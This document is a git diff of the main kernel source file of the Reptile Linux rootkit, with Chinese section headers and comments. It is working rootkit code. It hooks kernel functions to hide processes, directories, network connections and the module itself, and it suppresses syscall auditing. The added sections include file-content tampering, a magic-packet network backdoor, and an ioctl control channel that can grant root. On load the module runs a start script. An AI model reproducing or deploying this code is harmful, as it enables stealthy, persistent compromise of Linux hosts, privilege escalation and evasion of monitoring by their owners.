diff --git a/src/Reptile/kernel/main.c b/src/Reptile/kernel/main.c index 16157a7..853c403 100644 --- a/src/Reptile/kernel/main.c +++ b/src/Reptile/kernel/main.c @@ -1,201 +1,478 @@ -#include // 包含内核模块相关的头文件 -#include // 包含内核版本相关的头文件 +#include +#include -#include "khook/engine.c" // 包含khook引擎的实现文件 -#include "config.h" // 包含配置文件 -#include "util.h" // 包含工具函数文件 +#include "khook/engine.c" +#include "config.h" +#include "util.h" #ifdef CONFIG_AUTO_HIDE -# include "module.h" // 如果启用了自动隐藏配置,包含模块相关的头文件 +# include "module.h" #endif -int hidden = 1; // 定义一个隐藏标志变量,初始值为1 +int hidden = 1; -/* ------------------------ HIDE PROCESS ------------------------- */ +/* ------------------------ 隐藏进程 ------------------------- */ -#ifdef CONFIG_HIDE_PROC // 如果启用了隐藏进程配置 +#ifdef CONFIG_HIDE_PROC -#include // 包含审计相关的头文件 -#include "proc.h" // 包含进程相关的头文件 +#include +#include "proc.h" -KHOOK(copy_creds); // 声明一个钩子函数,用于拷贝凭据 +KHOOK(copy_creds); static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags) { int ret = 0; - ret = KHOOK_ORIGIN(copy_creds, p, clone_flags); // 调用原始的copy_creds函数 - if (!ret && is_task_invisible(current)) // 如果当前任务是不可见的 - p->flags |= FLAG; // 设置任务的标志位 + ret = KHOOK_ORIGIN(copy_creds, p, clone_flags); + if (!ret && is_task_invisible(current)) + p->flags |= FLAG; // 如果任务不可见,设置标志 return ret; } -KHOOK(exit_creds); // 声明一个钩子函数,用于退出凭据 +KHOOK(exit_creds); static void khook_exit_creds(struct task_struct *p) { - KHOOK_ORIGIN(exit_creds, p); // 调用原始的exit_creds函数 - if (is_task_invisible(p)) // 如果任务是不可见的 - p->flags &= ~FLAG; // 清除任务的标志位 + KHOOK_ORIGIN(exit_creds, p); + if (is_task_invisible(p)) + p->flags &= ~FLAG; // 如果任务不可见,清除标志 } -KHOOK(audit_alloc); // 声明一个钩子函数,用于分配审计 +KHOOK(audit_alloc); static int khook_audit_alloc(struct task_struct *t) { int err = 0; - if (is_task_invisible(t)) { // 如果任务是不可见的 - clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT); // 清除系统调用审计标志 + if (is_task_invisible(t)) { + clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT); // 如果任务不可见,清除系统调用审计标志 } else { - err = KHOOK_ORIGIN(audit_alloc, t); // 调用原始的audit_alloc函数 + err = KHOOK_ORIGIN(audit_alloc, t); } return err; } -KHOOK(find_task_by_vpid); // 声明一个钩子函数,用于通过vpid查找任务 +KHOOK(find_task_by_vpid); struct task_struct *khook_find_task_by_vpid(pid_t vnr) { struct task_struct *tsk = NULL; - tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr); // 调用原始的find_task_by_vpid函数 - if (tsk && is_task_invisible(tsk) && !is_task_invisible(current)) // 如果任务是不可见的且当前任务是可见的 - tsk = NULL; // 将任务设置为NULL + tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr); + if (tsk && is_task_invisible(tsk) && !is_task_invisible(current)) + tsk = NULL; // 如果任务不可见且当前任务可见,返回NULL return tsk; } -KHOOK_EXT(int, vfs_statx, int, const char __user *, int, struct kstat *, u32); // 声明一个扩展钩子函数,用于vfs_statx +KHOOK_EXT(int, vfs_statx, int, const char __user *, int, struct kstat *, u32); static int khook_vfs_statx(int dfd, const char __user *filename, int flags, struct kstat *stat, u32 request_mask) { - if (is_proc_invisible_2(filename)) // 如果文件名对应的进程是不可见的 - return -EINVAL; // 返回无效参数错误 + if (is_proc_invisible_2(filename)) + return -EINVAL; // 如果进程不可见,返回无效参数错误 - return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask); // 调用原始的vfs_statx函数 + return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask); } -KHOOK_EXT(long, sys_kill, long, long); // 声明一个扩展钩子函数,用于sys_kill +KHOOK_EXT(long, sys_kill, long, long); static long khook_sys_kill(long pid, long sig) { if (sig == 0) { - if (is_proc_invisible(pid)) { // 如果进程是不可见的 - return -ESRCH; // 返回无此进程错误 + if (is_proc_invisible(pid)) { + return -ESRCH; // 如果进程不可见,返回无此进程错误 } } - return KHOOK_ORIGIN(sys_kill, pid, sig); // 调用原始的sys_kill函数 + return KHOOK_ORIGIN(sys_kill, pid, sig); } -KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *); // 声明一个扩展钩子函数,用于__x64_sys_kill +KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *); static long khook___x64_sys_kill(const struct pt_regs *regs) { if (regs->si == 0) { - if (is_proc_invisible(regs->di)) { // 如果进程是不可见的 - return -ESRCH; // 返回无此进程错误 + if (is_proc_invisible(regs->di)) { + return -ESRCH; // 如果进程不可见,返回无此进程错误 } } - return KHOOK_ORIGIN(__x64_sys_kill, regs); // 调用原始的__x64_sys_kill函数 + return KHOOK_ORIGIN(__x64_sys_kill, regs); } -KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter); // 声明一个扩展钩子函数,用于next_tgid +KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter); static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter) { - if (hidden) { // 如果隐藏标志为真 - while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) { // 调用原始的next_tgid函数 - if (!(iter.task->flags & FLAG)) // 如果任务没有隐藏标志 - break; + if (hidden) { + while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) { + if (!(iter.task->flags & FLAG)) + break; // 跳过不可见任务 - iter.tgid++; // 增加tgid + iter.tgid++; } } else { - iter = KHOOK_ORIGIN(next_tgid, ns, iter); // 调用原始的next_tgid函数 + iter = KHOOK_ORIGIN(next_tgid, ns, iter); } return iter; } #endif -/* ------------------------- HIDE DIR --------------------------- */ +/* ------------------------- 隐藏目录 --------------------------- */ -#ifdef CONFIG_HIDE_DIR // 如果启用了隐藏目录配置 +#ifdef CONFIG_HIDE_DIR -#include // 包含目录缓存相关的头文件 -#include "dir.h" // 包含目录相关的头文件 +#include +#include "dir.h" -/* Can you see a little problem on those hooks? This is not the best - * way to do this feature, but I am going to keep it this way, after all, - * this is just a public project, isn't it? - */ -KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数,用于fillonedir +/* 这些钩子有点问题,但它们能工作,也许将来会改进 */ +KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int); static int khook_fillonedir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = -ENOENT; - if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 - ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type); // + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type); return ret; } -KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数,用于filldir +KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int); static int khook_filldir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { - int ret = -ENOENT; // 初始化返回值为-ENOENT - if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 - ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type); // 调用原始的filldir函数 - return ret; // 返回结果 + int ret = -ENOENT; + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type); + return ret; } -KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数,用于filldir64 +KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int); static int khook_filldir64(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { - int ret = -ENOENT; // 初始化返回值为-ENOENT - if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 - ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type); // 调用原始的filldir64函数 - return ret; // 返回结果 + int ret = -ENOENT; + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type); + return ret; } -KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数,用于compat_fillonedir +KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int); static int khook_compat_fillonedir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { - int ret = -ENOENT; // 初始化返回值为-ENOENT - if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 - ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type); // 调用原始的compat_fillonedir函数 - return ret; // 返回结果 + int ret = -ENOENT; + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type); + return ret; } -KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数,用于compat_filldir +KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int); static int khook_compat_filldir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { - int ret = -ENOENT; // 初始化返回值为-ENOENT - if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 - ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type); // 调用原始的compat_filldir函数 - return ret; // 返回结果 + int ret = -ENOENT; + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type); + return ret; } #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0) -KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数,用于compat_filldir64 +KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int); static int khook_compat_filldir64(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { - int ret = -ENOENT; // 初始化返回值为-ENOENT - if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 - ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type); // 调用原始的compat_filldir64函数 - return ret; // 返回结果 + int ret = -ENOENT; + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type); + return ret; } #endif #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0) -KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *); // 声明一个扩展钩子函数,用于__d_lookup +KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *); struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name) #else -KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *); // 声明一个扩展钩子函数,用于__d_lookup +KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *); struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name) #endif { - struct dentry *found = NULL; // 初始化找到的目录项为NULL - if (!strstr(name->name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 - found = KHOOK_ORIGIN(__d_lookup, parent, name); // 调用原始的__d_lookup函数 - return found; // 返回找到的目录项 + struct dentry *found = NULL; + if (!strstr(name->name, HIDE) || !hidden) + found = KHOOK_ORIGIN(__d_lookup, parent, name); + return found; +} +#endif + +/* --------------------- 文件内容篡改 --------------------- */ + +#ifdef CONFIG_FILE_TAMPERING + +#include "file.h" + +atomic_t read_on; +int file_tampering_flag = 0; + +// 这不是最好的方法,但它有效,也许将来会改进 +KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *); +static ssize_t khook_vfs_read(struct file *file, char __user *buf, + size_t count, loff_t *pos) +{ + ssize_t ret; + + atomic_set(&read_on, 1); + ret = KHOOK_ORIGIN(vfs_read, file, buf, count, pos); + + if (file_tampering_flag) { + if (file_check(buf, ret) == 1) + ret = hide_content(buf, ret); + } + atomic_set(&read_on, 0); + + return ret; +} + +#endif + +/* ------------------------ 隐藏连接 ------------------------- */ + +#ifdef CONFIG_HIDE_CONN + +#include +#include +#include "network.h" + +LIST_HEAD(hidden_conn_list); + +KHOOK_EXT(int, tcp4_seq_show, struct seq_file *, void *); +static int khook_tcp4_seq_show(struct seq_file *seq, void *v) +{ + int ret; + struct sock *sk = v; + struct inet_sock *inet; + struct hidden_conn *hc; + unsigned int daddr; + //unsigned short dport; + + if (v == SEQ_START_TOKEN) { + goto origin; + } + + inet = (struct inet_sock *)sk; + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 33) + daddr = inet->inet_daddr; + //dport = inet->inet_dport; +#else + daddr = inet->daddr; + //dport = inet->dport; +#endif + + list_for_each_entry(hc, &hidden_conn_list, list) + { + if (hc->addr.sin_addr.s_addr == daddr /* && hc->addr.sin_port == dport */) { + ret = 0; + goto out; + } + } +origin: + ret = KHOOK_ORIGIN(tcp4_seq_show, seq, v); +out: + return ret; +} + +KHOOK_EXT(int, udp4_seq_show, struct seq_file *, void *); +static int khook_udp4_seq_show(struct seq_file *seq, void *v) +{ + int ret; + struct sock *sk = v; + struct inet_sock *inet; + struct hidden_conn *hc; + unsigned int daddr; + //unsigned short dport; + + if (v == SEQ_START_TOKEN) { + goto origin; + } + + inet = (struct inet_sock *)sk; + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 33) + daddr = inet->inet_daddr; + //dport = inet->inet_dport; +#else + daddr = inet->daddr; + //dport = inet->dport; +#endif + + list_for_each_entry(hc, &hidden_conn_list, list) + { + if (hc->addr.sin_addr.s_addr == daddr /* && hc->addr.sin_port == dport */) { + ret = 0; + goto out; + } + } +origin: + ret = KHOOK_ORIGIN(udp4_seq_show, seq, v); +out: + return ret; } + +#endif + +/* ----------------------------- 后门 ----------------------------- */ + +#ifdef CONFIG_BACKDOOR +#include +#include "backdoor.h" + +KHOOK_EXT(int, ip_rcv, struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); +static int khook_ip_rcv(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt, + struct net_device *orig_dev) +{ + if (magic_packet_parse(skb)) + return KHOOK_ORIGIN(ip_rcv, skb, dev, pt, orig_dev); + + return 0; +} + +#endif + +/* ------------------------------ 通用 ----------------------------- */ + +#if defined(CONFIG_HIDE_PROC) && defined(CONFIG_BACKDOOR) +#include + +KHOOK_EXT(int, load_elf_binary, struct linux_binprm *); +static int khook_load_elf_binary(struct linux_binprm *bprm) +{ + int ret = KHOOK_ORIGIN(load_elf_binary, bprm); + + if (!ret && !strcmp(bprm->filename, SHELL_PATH)) + flag_tasks(current->pid, 1); + + return ret; +} +#endif + +/* ------------------------------- 控制 ----------------------------- */ + +#include +#include +#include + +int control_flag = 0; + +struct control { + unsigned short cmd; + void *argv; +}; + +KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long); +static int khook_inet_ioctl(struct socket *sock, unsigned int cmd, + unsigned long arg) +{ + int ret = 0; + unsigned int pid; + struct control args; + struct sockaddr_in addr; + + if (cmd == AUTH && arg == HTUA) { + if (control_flag) { + control_flag = 0; + } else { + control_flag = 1; + } + + goto out; + } + + if (control_flag && cmd == AUTH) { + if (copy_from_user(&args, (void *)arg, sizeof(args))) + goto out; + + switch (args.cmd) { + case 0: +#ifdef CONFIG_AUTO_HIDE + hide_module(); +#endif + flip_hidden_flag(); + break; + case 1: + if (copy_from_user(&pid, args.argv, sizeof(unsigned int))) + goto out; + +#ifdef CONFIG_HIDE_PROC + hide_proc(pid); +#endif + break; + case 2: +#ifdef CONFIG_FILE_TAMPERING + file_tampering(); +#endif + break; + case 3: +#ifdef CONFIG_GIVE_ROOT + get_root(); +#endif + break; + case 4: + if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) + goto out; + +#ifdef CONFIG_HIDE_CONN + network_hide_add(addr); +#endif + break; + case 5: + if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) + goto out; + +#ifdef CONFIG_HIDE_CONN + network_hide_remove(addr); +#endif + break; + default: + goto origin; + } + + goto out; + } + +origin: + ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg); +out: + return ret; +} + +/* ------------------------------------------------------------------ */ + +static int __init reptile_init(void) +{ + int ret; + +#ifdef CONFIG_FILE_TAMPERING + /* 不幸的是,我需要使用这个来确保在某些内核版本中 + * 我们能够在需要时卸载内核模块。否则,khook可能会 + * 因为vfs_read钩子而导致卸载时出现很大的延迟 + */ + atomic_set(&read_on, 0); +#endif + ret = khook_init(); + if (ret < 0) + return ret; + +#ifdef CONFIG_AUTO_HIDE + hide_module(); +#endif + + run_cmd(START_SCRIPT); + + return ret; +} + +static void __exit reptile_exit(void) +{ +#ifdef CONFIG_FILE_TAMPERING + while(atomic_read(&read_on) != 0) schedule(); +#endif + khook_cleanup(); +} + +module_init(reptile_init); +module_exit(reptile_exit); +MODULE_LICENSE("GPL");